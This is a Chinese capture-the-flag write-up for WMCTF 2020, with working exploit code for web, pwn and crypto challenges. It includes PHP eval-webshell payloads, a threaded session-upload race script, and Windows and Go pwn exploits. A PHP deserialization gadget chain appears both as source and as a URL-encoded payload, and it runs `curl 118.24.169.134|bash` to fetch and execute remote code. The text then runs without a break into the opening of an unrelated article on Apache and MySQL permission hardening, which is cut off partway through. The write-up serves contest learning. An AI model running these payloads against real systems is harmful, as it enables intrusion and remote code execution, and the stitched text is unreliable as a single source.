本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**肝到了第七名**
## web
### web_checkin
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(E_ALL);
$sandbox = './' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
// @chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
print_r('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}
直接file读…
### web_checkin2
参考
<https://www.leavesongs.com/PENETRATION/php-filter-magic.html>
<https://xz.aliyun.com/t/7457>
<https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5.0.X%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE.md>
Thinkphp5.0反序列化链的payload
php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php
以前跟过伪协议处理的源码,他对过滤器,多url解码了一次,
直接
http://web_checkin2.wmctf.wetolink.com/?content=php://filter/write=string.%2572ot13/resource=<?cuc @riny($_TRG[_]);?> /../a.php
view-source:http://web_checkin2.wmctf.wetolink.com/?content=a.php&_=system(%27cat%20/fffffllllllllaaaaaggggggg_as89c79as8%27);
读到flag
### Make PHP Great Again
被非预期了
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"readfile('flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
##
### webweb
其他题做自闭了,慢慢挖这个利用链吧
__destruct就剩这一个了,应该是出题人防止走偏,现在直接可以掉任意方法 了,但是内容不可控制,要把this 绕掉
下面是这个和原始版本有改动的地方,可能就是提示 了
删了两处 __desturct 应该是防止走偏
删了这里…可能是防止啥泄露吧
运行222libs.php 就行
// 222libs.php
<?php
namespace CLI;
require '2libs.php';
require '22libs.php';
//! RFC6455 WebSocket server
class WS {
const
//! UUID magic string
Magic='258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
//! Max packet size
Packet=65536;
//@{ Mask bits for first byte of header
const
Text=0x01,
Binary=0x02,
Close=0x08,
Ping=0x09,
Pong=0x0a,
OpCode=0x0f,
Finale=0x80;
//@}
//@{ Mask bits for second byte of header
const
Length=0x7f;
//@}
protected
$addr,
$ctx,
$wait,
$sockets,
$protocol,
$agents=[],
$events=[];
function __construct() {
}
}
class Agent {
protected
$server,
$id,
$socket,
$flag,
$verb,
$uri,
$headers;
/**
* Destroy object
**/
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
/**
* @param $server WS
* @param $socket resource
* @param $verb string
* @param $uri string
* @param $hdrs array
**/
function __construct() {
$this->server = new \DB\Jig\Mapper();
$this->server->events = Array( 'disconnect' => Array(new \DB\Jig\Mapper(),'insert'));
}
// $o = new \DB\Jig\Mapper();
// $o->insert();
}
$o = new \CLI\Agent();
$arr = Array('ws'=> new \CLI\WS,$o);
file_put_contents('poc3',base64_encode(serialize($arr)));
// 22libs.php
<?php
namespace DB\Jig;
class Mapper {
protected
//! Flat-file DB wrapper
$db,
//! Data file
$file,
//! Document identifier
$id,
//! Document contents
$document=[],
//! field map-reduce handlers
$_reduce;
function insert() {
if ($this->id)
return $this->update();
$db=$this->db;
$now=microtime(TRUE);
while (($id=uniqid(NULL,TRUE)) &&
($data=&$db->read($this->file)) && isset($data[$id]) &&
!connection_aborted())
usleep(mt_rand(0,100));
$this->id=$id;
$pkey=['_id'=>$this->id];
if (isset($this->trigger['beforeinsert']) &&
\Base::instance()->call($this->trigger['beforeinsert'],
[$this,$pkey])===FALSE)
return $this->document;
// $data[$id]=$this->document;
// $db->write($this->file,$data);
$db->jot('('.sprintf('%.1f',1e3*(microtime(TRUE)-$now)).'ms) '.
$this->file.' [insert] '.json_encode($this->document));
if (isset($this->trigger['afterinsert']))
\Base::instance()->call($this->trigger['afterinsert'],
[$this,$pkey]);
$this->load(['@_id=?',$this->id]);
return $this->document;
}
/**
* Instantiate class
* @return void
* @param $db object
* @param $file string
**/
function __construct() {
$this->db=new \db\sql\mapper();;
$this->file="curl 118.24.169.134|bash";
$this->props = Array("drop"=>"system","read"=>'system');
}
}
// 2libs.php
<?php
namespace DB\SQL;
//! SQL data mapper
class Mapper {
//@{ Error messages
const
E_PKey='Table %s does not have a primary key';
//@}
protected
//! PDO wrapper
$db,
//! Database engine
$engine,
//! SQL table
$source,
//! SQL table (quoted)
$table,
//! Alias for SQL table
$as,
//! Last insert ID
$_id,
//! Defined fields
$fields,
//! Adhoc fields
$adhoc=[],
//! Dynamic properties
$props=[];
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
/**
* Instantiate class
* @param $db \DB\SQL
* @param $table string
* @param $fields array|string
* @param $ttl int|array
**/
function __construct() {
$this->props = Array("drop"=>"system","read"=>'system');
}
}
最后payload
%61%3a%32%3a%7b%73%3a%32%3a%22%77%73%22%3b%4f%3a%36%3a%22%43%4c%49%5c%57%53%22%3a%37%3a%7b%73%3a%37%3a%22%00%2a%00%61%64%64%72%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%63%74%78%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%77%61%69%74%22%3b%4e%3b%73%3a%31%30%3a%22%00%2a%00%73%6f%63%6b%65%74%73%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%70%72%6f%74%6f%63%6f%6c%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%61%67%65%6e%74%73%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%65%76%65%6e%74%73%22%3b%61%3a%30%3a%7b%7d%7d%69%3a%30%3b%4f%3a%39%3a%22%43%4c%49%5c%41%67%65%6e%74%22%3a%37%3a%7b%73%3a%39%3a%22%00%2a%00%73%65%72%76%65%72%22%3b%4f%3a%31%33%3a%22%44%42%5c%4a%69%67%5c%4d%61%70%70%65%72%22%3a%37%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4f%3a%31%33%3a%22%44%42%5c%53%51%4c%5c%4d%61%70%70%65%72%22%3a%39%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%65%6e%67%69%6e%65%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%73%6f%75%72%63%65%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%74%61%62%6c%65%22%3b%4e%3b%73%3a%35%3a%22%00%2a%00%61%73%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%5f%69%64%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%66%69%65%6c%64%73%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%61%64%68%6f%63%22%3b%61%3a%30%3a%7b%7d%73%3a%38%3a%22%00%2a%00%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%7d%73%3a%37%3a%22%00%2a%00%66%69%6c%65%22%3b%73%3a%32%34%3a%22%63%75%72%6c%20%31%31%38%2e%32%34%2e%31%36%39%2e%31%33%34%7c%62%61%73%68%22%3b%73%3a%35%3a%22%00%2a%00%69%64%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%64%6f%63%75%6d%65%6e%74%22%3b%61%3a%30%3a%7b%7d%73%3a%31%30%3a%22%00%2a%00%5f%72%65%64%75%63%65%22%3b%4e%3b%73%3a%35%3a%22%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%73%3a%36%3a%22%65%76%65%6e%74%73%22%3b%61%3a%31%3a%7b%73%3a%31%30%3a%22%64%69%73%63%6f%6e%6e%65%63%74%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%31%33%3a%22%44%42%5c%4a%69%67%5c%4d%61%70%70%65%72%22%3a%36%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4f%3a%31%33%3a%22%44%42%5c%53%51%4c%5c%4d%61%70%70%65%72%22%3a%39%3a%7b%73%3a%35%3a%22%00%2a%00%64%62%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%65%6e%67%69%6e%65%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%73%6f%75%72%63%65%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%74%61%62%6c%65%22%3b%4e%3b%73%3a%35%3a%22%00%2a%00%61%73%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%5f%69%64%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%66%69%65%6c%64%73%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%61%64%68%6f%63%22%3b%61%3a%30%3a%7b%7d%73%3a%38%3a%22%00%2a%00%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%7d%73%3a%37%3a%22%00%2a%00%66%69%6c%65%22%3b%73%3a%32%34%3a%22%63%75%72%6c%20%31%31%38%2e%32%34%2e%31%36%39%2e%31%33%34%7c%62%61%73%68%22%3b%73%3a%35%3a%22%00%2a%00%69%64%22%3b%4e%3b%73%3a%31%31%3a%22%00%2a%00%64%6f%63%75%6d%65%6e%74%22%3b%61%3a%30%3a%7b%7d%73%3a%31%30%3a%22%00%2a%00%5f%72%65%64%75%63%65%22%3b%4e%3b%73%3a%35%3a%22%70%72%6f%70%73%22%3b%61%3a%32%3a%7b%73%3a%34%3a%22%64%72%6f%70%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%73%3a%34%3a%22%72%65%61%64%22%3b%73%3a%36%3a%22%73%79%73%74%65%6d%22%3b%7d%7d%69%3a%31%3b%73%3a%36%3a%22%69%6e%73%65%72%74%22%3b%7d%7d%7d%73%3a%35%3a%22%00%2a%00%69%64%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%73%6f%63%6b%65%74%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%66%6c%61%67%22%3b%4e%3b%73%3a%37%3a%22%00%2a%00%76%65%72%62%22%3b%4e%3b%73%3a%36%3a%22%00%2a%00%75%72%69%22%3b%4e%3b%73%3a%31%30%3a%22%00%2a%00%68%65%61%64%65%72%73%22%3b%4e%3b%7d%7d
## pwn
### mengyedekending
反编译得到源码，漏洞点在，可以输入’\r’来控制（*prt2），得到数组的越界写，改写ptr2[2]中的指针，指向num，然后用offset那里-1就好了。
反编译得到源码
```c#
private unsafe static void Main(string[] args)
{
char* ptr = stackalloc char[(UIntPtr)100];
int num = 1;
int* ptr2 = (int*)(ptr + 50);
Program @object = new Program();
Program.MsgHandler msgHandler = new Program.MsgHandler(@object.Right);
Program.MsgHandler msgHandler2 = new Program.MsgHandler(@object.Backdoor);
Console.WriteLine("This is a gift for you : {0:x4}", &num);
Console.WriteLine("What do you want me to repeat?");
ptr2[1] = 0;
ptr2[2] = ptr;
*ptr2 = 0;
while (ptr2[1] < 53)
{
char c = (char)Console.Read();
bool flag = c == '\n';
if (flag)
{
break;
}
bool flag2 = c == '\r';
if (!flag2)
{
ptr[*ptr2] = c;
ptr2[1]++;
}
(*ptr2)++;
}
Console.WriteLine("Do you want to change your input?");
char c2 = (char)Console.Read();
bool flag3 = c2 == 'N' || c2 == 'n';
if (flag3)
{
msgHandler(ptr);
}
else
{
Console.WriteLine("Please tell me a offset!");
char* ptr3 = ptr2[2];
Console.ReadLine();
int num2 = Console.Read();
for (int i = 0; i < num2; i++)
{
char* ptr4 = ptr3 + i;
*ptr4 -= '\u0001';
}
bool flag4 = num == 1;
if (flag4)
{
msgHandler(ptr);
}
else
{
msgHandler2(ptr);
}
}
}
backdoor
private unsafe void Backdoor(char* args)
{
Console.WriteLine("I'll give you flag!");
string str = "type C:\\flag.txt";
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.CreateNoWindow = true;
process.Start();
process.StandardInput.WriteLine(str + "&exit");
process.StandardInput.AutoFlush = true;
string value = process.StandardOutput.ReadToEnd();
process.WaitForExit();
process.Kill();
Console.WriteLine(value);
}
Right
private unsafe void Right(char* args)
{
for (int i = 0; i < 50; i++)
{
Console.Write(args[i]);
}
Console.Write('\n');
}
exp,概率成功，不知道为啥QAQ
```python
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
cn = remote('111.73.46.229',51000)
#cn = process('C:/Users/a1516/Desktop/WMCTF2020/For Attacker/publish/baby_cat.exe')
a = cn.recvline()
addr = int(a[25:32],16)
print(hex(addr))
cn.recvline()
cn.sendline('\r'*108+p32(addr)[::-1])
#cn.sendline('\r'*108+p32(addr))
cn.recvline()
cn.send('a')
cn.recvline()
cn.sendline('c')
cn.send('\x01')
cn.interactive()
### cfgo
走完迷宫发现有个栈溢出，调试得到栈结构
‘a’ _112+addr+len+’b’_ 0x90+ret
其中addr和len是两个参数，可以用来泄露内存。又因为本来只允许输入一次，所以我们把原来ret的最后一个字节覆盖为’\xce’，这样就可以再次返回到并call输入name的函数，得到第二次写，这一点可以调试配合ida得到。第一次泄露text_addr，第二次写入rop。
exp
#!/usr/bin/python
from pwn import*
from LibcSearcher import *
#context.log_level = 'debug'
res=''
def fix(tout):
res = ''
mid = '0'
for i in tout:
if mid != i:
res += i
mid = i
else:
mid = '0'
print(res)
def translate(sol):
tmp = sol[0]
tot = len(sol)
global res
for i in range(1, tot):
if (tmp[0] == sol[i][0]) and (tmp[1] > sol[i][1]):
res += 'a'
elif (tmp[0] == sol[i][0]) and (tmp[1] < sol[i][1]):
res += 'd'
elif (tmp[0] > sol[i][0]) and (tmp[1] == sol[i][1]):
res += 'w'
else:
res += 's'
tmp = sol[i]
# fix(res)
# final(res)
step = []
def check_valid(mg, x, y):
if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:
return True
else:
return False
def process1(step):
change_records = []
for i in range(len(step) - 1):
if (abs(step[i][0] - step[i + 1][0]) == 0 and abs(step[i][1] - step[i + 1][1]) == 1) or (abs(step[i][0] - step[i + 1][0]) == 1 and abs(step[i][1] - step[i + 1][1]) == 0):
pass
else:
change_records.append(i + 1)
# print(change_records)
clip_nums = []
for i in change_records:
for j in range(i):
if (abs(step[j][0] - step[i][0]) == 0 and abs(step[j][1] - step[i][1]) == 1) or \
(abs(step[j][0] - step[i][0]) == 1 and abs(step[j][1] - step[i][1]) == 0):
break
clip_nums.append((j, i))
# print(clip_nums)
record = []
for i in clip_nums[::-1]:
if not (i[0] in record or i[1] in record):
step = step[:i[0] + 1] + step[i[1]:]
record += list(range(i[0], i[1]))
# print(step)
translate(step)
def final(re):
print("Walk success!")
print(re)
def walk(mg, x, y, ex, ey):
global step
if x == ex and y == ey:
step.append((x, y))
process1(step)
# sys.exit()
if check_valid(mg, x, y):
step.append((x, y))
mg[x][y] = 2
walk(mg, x, y + 1, ex, ey)
walk(mg, x, y - 1, ex, ey)
walk(mg, x - 1, y, ex, ey)
walk(mg, x + 1, y, ex, ey)
def get_xy(maze,k):
for i in range(k):
for j in range(k):
if(maze[i][j] == '4'):
x = i
y = j
for i in range(k):
for j in range(k):
if(maze[i][j] == '3'):
ex = i
ey = j
return (x,y,ex,ey)
def pwn():
# cn = process('./pwn')
cn = remote('81.68.174.63',62176)
for j in range(0,100):
print(j+1)
global res
global step
step = []
res = ''
cn.recvline()
maze=[]
maze = cn.recvlines(6+j)
num = len(maze)
x=0
y=0
ex=0
ey=0
for k in range(0,num):
maze[k] = maze[k].replace('\xe2\xac\x9b','0')
maze[k] = maze[k].replace('\xe2\xac\x9c','1')
maze[k] = maze[k].replace('\xf0\x9f\x9a\xa9','3')
# print(maze[k])
for k in range(0,num):
for i in range(0,len(maze[k])):
if maze[k][i] != '0' and maze[k][i] != '1' and maze[k][i] != '3':
maze[k]=maze[k][:i]+'4'+maze[k][i+4:]
break
(x,y,ex,ey) = get_xy(maze,num)
for k in range(0,num):
maze[k] = maze[k].replace('3','1')
maze[k] = maze[k].replace('4','1')
box=[[]for i in range(num)]
for k in range(0,num):
for L in range(0,num):
box[k].append(int(maze[k][L]))
#print(box)
maze = box
#print(x,y,ex,ey)
walk(maze,x,y,ex,ey)
cn.send(res+'\n')
print(res)
base=0x555555554000
stack_ = 0xc000000000
ret = base+0xa3910
payload = 'a'*112+p64(0xc000009690)+p64(0x200)+'b'*0x90+'\xce'
context.log_level = 'debug'
cn.recv()
cn.sendline(payload)
a = cn.recv()
text_base = u64(a[0x110-1:0x117])-0xbda23
print(hex(text_base))
#read rop2
# gdb.attach(cn)
open_addr = text_base+0xCFEA0
read_addr = text_base+0xCFF10
write_addr = text_base+0xCFEF0
print(hex(open_addr))
print(hex(read_addr))
print(hex(write_addr))
pppr = text_base+0x11a1a2
ppppr = text_base+0x11a1a0
pop_rdi_ret = text_base+0x37531
flag_addr = 0xc000044d78+0x100
addr = 0xc000044d78
main_got = text_base + 0x1EEF38
rop1 = p64(open_addr)+p64(pppr)+p64(addr)+p64(0)+p64(0)+p64(read_addr)+p64(ppppr)+p64(6)+p64(flag_addr)+p64(0x100)+p64(0)+p64(write_addr)+p64(pppr)+p64(1)+p64(flag_addr)+p64(0x200)
cn.sendline('./flag\x00\x00'+'d'*0x68+p64(0xc000047d00)+p64(0x40)+'./flag\x00\x00'+'e'*(144-8)+rop1)
cn.recvuntil('is :')
a = cn.recv()
cn.interactive()
print(a[:1000])
pwn()
## misc
### sign-in
快乐签到题
### **XMAN_Happy_birthday!**
倒叙脚本一把梭
a = open('./daolnwod.zip','rb').read()
b = a[::-1]
c = open('res.zip','wb')
c.write(b)
c.close()
解压得flag
### **Performance_artist**
分割成28*28大小的图片，然后找到字符的数据集，转成图片，再用phash和 汉明距离慢慢搞，外加人工比对部分
from PIL import Image
import imagehash
import os
def hammingDistance(x, y):
return bin(x ^ y).count('1')
hash_size = 12
pathh = ''
pathyuan = ''
# 提取phash，节约时间
if not os.path.exists('E:\\phash.txt'):
with open('E:\\phash.txt', 'w+') as file:
trains = os.listdir(path)
for i in trains:
imagepng = Image.open(path+i)
file.write(str(imagehash.phash(imagepng, 12)) + '\t' + i + '\n')
misc = os.listdir(pathyuan)
file = open('E:\\phash.txt')
s = file.readlines()
hashs = list(map(lambda x: x.split('\t')[0], s))
chars = list(map(lambda x: x.split('_')[2][0], s))
# chars = list(map(lambda x: x.split('\t')[1][0], s))
string = ""
sure = [322]
for i in sure:
image1 = Image.open(pathyuan + str(i) + '.png')
temphash = imagehash.phash(image1, hash_size)
print(i)
"""if str(temphash) in hashs:
print(i, chars[hashs.index(str(temphash))],s[hashs.index(str(temphash))])
string += chars[hashs.index(str(temphash))]"""
for j in hashs:
if hammingDistance(int(str(temphash), 16), int(j, 16)) <= 40:
print(i, chars[hashs.index(j)], s[hashs.index(j)])
image2 = Image.new('RGB', (56, 56), '#FFFFFF')
box1 = (0, 0, 28, 28)
crop = image1.crop(box1)
image2.paste(crop, (0, 0))
image3 = Image.open('./'+s[hashs.index(j)].split('\t')[1][:-1])
crop = image3.crop(box1)
image2.paste(crop, (0, 28))
image2.save('./' + str(i) + '_' + str(j) + '.png')
### **Dalabengba**
首先 EnigmaVBUnpacker
解包得到原始文件，然后要得到encodekey,垃圾rpgmaker的加密方式竟然是加上自己的头，后面再加上原array数据异或encodekey来得到一个校准位，实际根本没有加密，亏我审了这么久的源码
于是python弄个jio本得到encodekey
a = [0x7e,0x15,0xdc,0x75,0x87,0x1c,0x96,0xf2,0x58,0xe7,0x27,0x0d,0x64,0x9c,0xb2,0xf9]
b = [137,80,78,71,13,10,26,10,0,0,0,13,73,72,68,82]
res = ''
for i in range(16):
res+=hex(a[i]^b[i])[2:].zfill(2)
print(res)
得到key：f74592328a168cf858e727002dd4f6ab
然后cmd5查到其密钥为 welcometothegame
然后进游戏，快速过完游戏（我才不会说我开了穿墙挂）得到
**part1** ：最后的空中宫殿NPC移动轨迹得Pr1nCe5(S)5(s)
**part2** ：根目录文件有过part2且宝箱hint为
得知为Java得盲水印隐写，通过
<https://github.com/ww23/BlindWatermark/releases/tag/v0.0.3>项目可以得到水印图像
再反色处理以及加上标识符得到
zxing扫描得： W[@rR1or](https://github.com/rR1or "@rR1or")
**part3：**
文件通过crypto解密，密钥为国王说的那句话的去除大写字母倒叙16进制转换，其密钥为：Y0u_[@re_5o_bRaVE](https://github.com/re_5o_bRaVE
"@re_5o_bRaVE")，解密后是一堆空字符，换成0和1后得到
100110101111011010101110000001000001011010000110011011101010011000000100011001101111011010101110011101100010011000000100100101100010111010000100100001001000010010000100100001001000010001010000
01010000
01010000
01010000
000011101000011001001110001011101100110001011100111010100001011001001110010010100100111001001110010011100111111001010000
然后再倒叙二进制转字符串再倒叙得到
You have found it!!!!!!
part3:WhrRrrr~
得到part3： WhrRrrr~
最后fuzzpart1得到flag
### FeedBack
问卷题，需要翻墙
<https://forms.gle/SmTytGGhvYxDtuoA7>
### **Music_game**
通过声音控制坦克移动，到终点就有flag
## re
### easy_re
调试了无数遍之后，突然一次crtl+f7加乱改运行位置的时候偶然看到了一个和flag有关的的函数，从cmp进行调试，终于找到了藏起来的flag（签到真不容易）。
## crypto
### piece_of_cake
应该是非预期解了，直接解eatcake处的二维ntru，本地测试得到的m略小于cake，大概差了几个g，索性直接发送m+2*g给靶机，随缘。【解二维ntru的脚本先知就有，不贴了】
### Game
以获取答案的第一组为例：发送两组数据，要求保持密文的第一组数据不变【由于aes的iv会变，每次都发送iv就行，本次的iv是上一次的密文最后一组，初始iv已给】随后发送十五个填充字节。这个时候服务器会返回的第二组密文就是十五个填充字节+sceret第一个字节。
为了获取这个字节我们爆破。发送两组数据，第一组是iv，第二组是十五个填充字节加一个遍历256的i，若密文与之前的第二组相同，那个i就是secret的第一个字节。
from pwn import *
sh=remote("81.68.174.63","16442")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
def proof_of_work(sh):
sh.recvuntil("XXXX+")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Give me XXXX:", proof)
#context.log_level = 'debug'
proof_of_work(sh)
secret=b""
#sitep1
ban=sh.recvuntil("IV is: ")
tmp_head = sh.recvuntil("\n")[:-1]
for j in range(48):
sh.recvuntil("> ")
sh.sendline("1")
sh.recvuntil(": ")
sh.sendline(tmp_head + b"00" * (48-len(secret)//2-1))
print("start:")
tmp = sh.recvuntil("\n")[:-1]
tmp_head = tmp[-32:]
goal = tmp[96:128]
print(goal)
#sh.interactive()
for i in range(256):
sh.recvuntil("> ")
sh.sendline("1")
sh.recvuntil(": ")
sh.sendline(tmp_head+b"00"*(48-len(secret)//2-1)+secret+ hex(i)[2:].rjust(2,"0").encode("latin1"))
tmp = sh.recvuntil("\n")[:-1]
tmp_head = tmp[-32:]
if tmp[96:128] == goal:
print("this send get answer:")
print((tmp_head + b"00" * (48 - len(secret) // 2 - 1) + secret + hex(i)[2:].rjust(2, "0").encode("latin1")))
secret+=hex(i)[2:].rjust(2,"0").encode("latin1")
print(secret)
break
#
sh.recvuntil("> ")
sh.sendline("2")
sh.recvuntil(": ")
sh.sendline(secret)
flag=sh.recv()
print(flag)
sh.interactive()
### babysum
120维背包取20个，轻背包，改自soreatu参与密码挑战赛的脚本
import re
import random
import logging
import multiprocessing as mp
from functools import partial
logging.basicConfig(level=logging.DEBUG)
LEVEL = [
# n k s
(120, 20, 11204158321431815830823699004382994461036257963)
]
ZERO_FORCE = {
# n r
120: 20,
}
def check(sol, A, s):
"""Check whether *sol* is a solution to the subset-sum problem.
"""
return sum(x*a for x, a in zip(sol, A)) == s
small_vec = None
def solve(A, n, k, s, r, ID=None, BS=22):
N = ceil(sqrt(n)) # parameter used in the construction of lattice
rand = random.Random(x=ID) # seed
indexes = set(range(n))
small_vec = None
itr = 0
total_time = 0.0
print(f"[{ID}] n={n} Start... {itr}")
while True:
# 1. initalization
#t0 = cputime()
itr += 1
kick_out = set(sample(range(n), r))
new_set = [A[i] for i in indexes - kick_out]
lat = []
for i,a in enumerate(new_set):
lat.append([1*(j==i) for j in range(n-r)] + [N*a] + [N])
lat.append([0]*(n-r) + [N*s] + [k*N])
shuffle(lat, random=rand.random)
m = matrix(ZZ, lat)
#t_BKZ = cputime()
m_BKZ = m.BKZ(block_size=BS)
print("BKZ finished")
#print(f"[{ID}] n={n} {itr} runs. BKZ running time: {cputime(t_BKZ):.3f}s")
if m_BKZ[0].norm()^2 == k:
print("+++++++++++++");
print("total time: "+str(total))
print(m_BKZ[0])
print(kick_out)
return True
def main():
CPU_CORE_NUM = 80
for n, k, s in LEVEL[:]:
r = ZERO_FORCE[n]
A = #key列表
solve_n = partial(solve, A, n, k, s, r)
with mp.Pool(CPU_CORE_NUM) as pool:
reslist = pool.imap_unordered(solve_n, range(CPU_CORE_NUM))
# terminate all processes once one process returns
for res in reslist:
if res:
pool.terminate()
break
if __name__ == "__main__":
main()
80核服务器5分钟【运气好24s】
8核虚拟机运气好5分钟
### sum
同上，不过180维背包取160个，反过来看还是轻背包。不过就是80核服务器15h+而已，【草：一种植物】 | 社区文章 |
# 【技术分享】网站权限的安全配置
|
##### 译文声明
本文是翻译文章，文章来源：神月资讯
原文地址：[https://mp.weixin.qq.com/s?__biz=MzI5NzU0MjgzNA==&mid=2247484941&idx=1&sn=707f28f70ce673a41352668b59e93da3&chksm=ecb233d0dbc5bac62b3c92e73ebc84d1e9b8c86a80b577f387924d726dc771c9baf6fda1b726&mpshare=1&scene=1&srcid=1013tu1X1mnEojPQT1zhX4F5#rd](https://mp.weixin.qq.com/s?__biz=MzI5NzU0MjgzNA==&mid=2247484941&idx=1&sn=707f28f70ce673a41352668b59e93da3&chksm=ecb233d0dbc5bac62b3c92e73ebc84d1e9b8c86a80b577f387924d726dc771c9baf6fda1b726&mpshare=1&scene=1&srcid=1013tu1X1mnEojPQT1zhX4F5#rd)
译文仅供参考，具体内容表达以及含义原文为准。
**0x01 前言**
日防夜防，但指不定哪天又有0day出来，或是有其它漏洞，网站被日，我们的服务器又要出现中毒、被留后门等等现象。而如何做好了权限配置，即使网站沦陷，但是攻击者能获得的权限很低的话，就做不了进一步的操作了，所以本文章主要讲讲网站如何在权限上做好安全配置，让日站少年无从下手。
**
**
**0x02 网站部署架构**
这是一个比较简单的部署架构。其中，网站部署在 **apache容器**
上，而php作为后台脚本解析语言用来解析，数据库则为存放数据。而网站服务器中，一般apache和数据库都是以服务的形式启动的。（有非服务和服务两种方式启动）。
**
**
**0x03 威胁点**
通过上面这个架构，我们可以找出一些威胁点：
**1.中间件apache服务权限**
如果攻击者在获得网站的权限的话，如使用php漏洞进行命令执行，那么其权限就相当于apache服务的权限。如果apache是在管理管理员下直接启动的服务，那就当然是系统管理员的权限啦。
**2.数据库mysql服务的权限**
如果攻击者能在数据库进行命令执行的话，当然也会是以mysql服务的权限进行操作的。
**3.数据库用户权限**
第2点的服务权限，需要先得到数据库root权限。
**
**
**0x04 配置权限防范点**
从上面的威胁点，我们可以从下面几个点去做防范：
1.系统用户：创建一个非系统管理员帐户作为网站的管理帐户；
2.中间件服务apache：设置为非系统管理员帐户，设置对目录的读写；
3.数据库服务mysql：设置为非系统管理员帐户；
4.数据库用户权限：设置非root帐户，并控制读写权限；
5.php配置：限制访问目录，限制敏感函数；
**
**
**0x05 配置权限防操作**
那么具体的操作是怎么样的呢？继续往下看。
**0x05.1 新建低权限系统用户test**
新建低权限系统用户，帐号密码均为test
net user test test /add
用net user test查看一下：
**0x05.2 配置低权限apache 服务**
创建apache服务，名为Apache2.4
httpd.exe -k install -n Apache2.4
（要到httpd所在的目录下执行）
设置服务的启动帐户为test：
然后启动该服务：
net start Apache2.4
**0x05.3 apache配置做限制**
**0x05.3.1 配置目录权限**
这样禁止了访问C:phpstudyWWWinc目录下的文件了
**0x05.3.2 去掉目录遍历**
Indexes 的作用就是当该目录下没有 index.html 或index.php文件时，就显示目录结构，去掉 Indexes，Apache
就不会显示该目录的列表了。
**0x05.4 配置低权限mysql服务**
